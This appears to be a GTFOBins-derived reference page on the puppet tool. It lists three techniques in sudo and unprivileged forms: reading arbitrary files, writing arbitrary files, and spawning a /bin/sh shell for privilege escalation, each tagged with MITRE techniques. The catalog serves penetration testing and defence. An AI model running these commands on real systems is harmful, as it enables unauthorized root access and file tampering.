GTFO · Tool

puppet

6 techniquesLinuxGTFOBinsGPL-3.0

file-read

File ReadPrivilege EscalationLinux

The read file content is corrupted by the `diff` output format. The actual `diff` command is executed.

puppet filebucket -l diff /dev/null /path/to/input-file

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: sudo
Native: file-read
MITRE: T1005
Refs: gtfobins.github.io/gtfobins/puppet/

File ReadLinux

The read file content is corrupted by the `diff` output format. The actual `diff` command is executed.

puppet filebucket -l diff /dev/null /path/to/input-file

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: unprivileged
Native: file-read
MITRE: T1005
Refs: gtfobins.github.io/gtfobins/puppet/

File WritePrivilege EscalationLinux

puppet apply -e 'file { "/path/to/output-file": content => "DATA" }'

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: sudo
Native: file-write
MITRE: T1565
Refs: gtfobins.github.io/gtfobins/puppet/

File WriteLinux

puppet apply -e 'file { "/path/to/output-file": content => "DATA" }'

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: unprivileged
Native: file-write
MITRE: T1565
Refs: gtfobins.github.io/gtfobins/puppet/

ExecutionPrivilege EscalationLinux

puppet apply -e "exec { '/bin/sh <$(tty) >$(tty) 2>$(tty)': }"

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: sudo
Native: shell
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/puppet/

ExecutionLinux

puppet apply -e "exec { '/bin/sh <$(tty) >$(tty) 2>$(tty)': }"

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: unprivileged
Native: shell
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/puppet/